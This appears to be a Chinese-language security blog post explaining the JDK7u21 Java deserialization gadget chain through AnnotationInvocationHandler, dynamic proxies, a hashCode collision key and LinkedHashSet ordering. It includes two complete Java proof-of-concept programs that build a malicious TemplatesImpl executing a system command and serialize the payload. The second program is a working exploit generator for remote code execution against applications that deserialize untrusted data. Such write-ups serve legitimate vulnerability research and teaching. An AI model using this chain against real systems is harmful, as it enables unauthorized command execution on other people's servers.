AnnotationInvocationHandler
我们都知道在java反序列化中最重要的是找到应该类方法的动态调用,如cc中的各种transforme,TemplatesImpl的字节码加载
而JDK7u21的命令执行点就是在AnnotationInvocationHandler。AnnotationInvocationHandler是一个代理类,而其有一个equalsImpl方法
其存在一个反射调用。

我们可以发现其memberMethod是遍历了getMemberMethods()。

而getMemberMethods的返回值其实是type.getDeclaredMethods();而type我们可控,那么我们只要传入TemplatesImpl的接口Templates就可以调用到newTransformer了

不可以直接传入type为TemplatesImpl.class这是因为在遍历方法时第一个遍历的是writeObject,直接抛异常退出了
但是其是一个私有类所以我们要找一下哪里调用了

而在其重写的invoke只要当member.equals(“equals”)时就可以调用到equalsImpl,且参数equals的参数。
而我们想要调用到invoke就需要使用动态代理了
动态代理
简单讲一下动态代理,动态代理需要三个东西,接口,完成接口的类,以及完成了InvocationHandler接口的类(下面简称Handler)
而我们的Handler是需要王朝invoke接口的,这个接口在代理类每次调用方法时都会走到。

invoke的三个参数就是代理类,调用的方法,参数。
继续
上面说到只要调用的方法名为equals就可以调用到equalsImpl。那么有proxy.equals(tpl)
就可以命令执行了
简单测试一下命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.HashSet; import java.util.LinkedHashSet; import java.util.Map;
public class demo { public static Object getTemplates()throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass code=pool.makeClass("calc"); code.makeClassInitializer().insertBefore("Runtime.getRuntime().exec(\"calc\");"); code.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); byte[][] codes={code.toBytecode()}; TemplatesImpl templates = new TemplatesImpl(); setValue(templates,"_name","aaa"); setValue(templates,"_bytecodes",codes);
setValue(templates,"_tfactory",new TransformerFactoryImpl());
return templates;
} public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { TemplatesImpl tpl=(TemplatesImpl) getTemplates(); HashMap map=new HashMap();
Constructor constructor =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler Annotation=(InvocationHandler)constructor.newInstance(Templates.class,map); Templates proxy=(Templates) Proxy.newProxyInstance(tpl.getClass().getClassLoader(),new Class[]{Templates.class},Annotation); proxy.equals(tpl);
}
}
|
OK弹出了计算机,那么下面就找会调用到equals的类了。这条链子用的是Hashset这个类
Hashset
Hashset的主要作用是去重,其实也就是利用hashMao的key不能相等来进行去除

我们看Hashset的readObject可以发现其调用了map.put看一下put

可以发现当新加入的key会和map里的其他key进行比较当hash值相同时就会调用到key.equaks(k)
看一下hash的逻辑

可以发现其实就是调用了hashCode,我们所涉及的key其实就TemplatesImpl和proxy类。TemplatesImpl的hashCode是固定了,但是proxy.hashCode会调用到AnnotationInvocationHandler的hashCodeImpl

可以发现其是值是我们传入AnnotationInvocationHandler实例的map中的key的hashCode异或上value的hashcode值,那么我们只要使其前面的key的hashcode为0value为TemplatesImpl不久可以得到TemplatesImpl的hashCode值了吗?
爆破得到的值为f5a5a608。
那么我们久可以开始编写我们的exp了
相比起上面的poc我们只要加上一个HashSet添加上proxy和TemplatesImpl即可如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| package Memshell;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.HashSet; import java.util.LinkedHashSet; import java.util.Map;
public class JDK7u21 { public static void Serializ(Object obj) throws Exception{ ByteArrayOutputStream bos=new ByteArrayOutputStream(); FileOutputStream fos = new FileOutputStream("ser.bin"); ObjectOutputStream oos=new ObjectOutputStream(fos); oos.writeObject(obj);
}
public static Object Unserializ(String Filename) throws IOException, ClassNotFoundException, IOException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj=ois.readObject(); return obj; }
public static Object unser(byte[] bytes) throws Exception{ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); return objectInputStream.readObject(); }
public static Object getTemplates()throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass code=pool.makeClass("calc"); code.makeClassInitializer().insertBefore("Runtime.getRuntime().exec(\"calc\");"); code.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); byte[][] codes={code.toBytecode()}; TemplatesImpl templates = new TemplatesImpl(); setValue(templates,"_name","aaa"); setValue(templates,"_bytecodes",codes);
setValue(templates,"_tfactory",new TransformerFactoryImpl());
return templates;
} public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { TemplatesImpl tpl=(TemplatesImpl) getTemplates(); HashMap map=new HashMap(); map.put("f5a5a608","aaa"); Constructor constructor =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler Annotation=(InvocationHandler)constructor.newInstance(Templates.class,map);
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, Annotation);
HashSet mapset=new HashSet(); mapset.add(tpl);
mapset.add(proxy);
System.out.println(mapset);
map.put("f5a5a608",tpl); Serializ(mapset); Unserializ("Ser.bin");
}
}
|
运行之后发现还是不行。这是因为HashSet是基于hashmap的HashSet在向hashMap添加key时其实不是按照输入顺序排的而是按照hash值来映射桶的如下


也就是说我们我们无法控制其顺序这久导致了,我们在反序列化时只能TemplatesImpl.equals(proxy)

这时我们在HashSet下可以看到一个构造方法其使用的map是LinkedHashMap,其基于链表来存储顺序,这就导致我们的put后的存储顺序可以根据前后的不同而去改变。
但是这个构造方法不是public


但是我们在LinkedHashSet里可以发现其调用了其父类HashSet的这个构造方法
这时我们就需要使用LinkedHashSet了LinkedHashSet是继承了HashSet方法的类但是其
在add时会按着添加顺序来设置其存储在hashmap的顺序。这样我们就可以操控两个key的先后顺序从而构造
proxy.equals(Templatesimpl)了
成功弹出计算机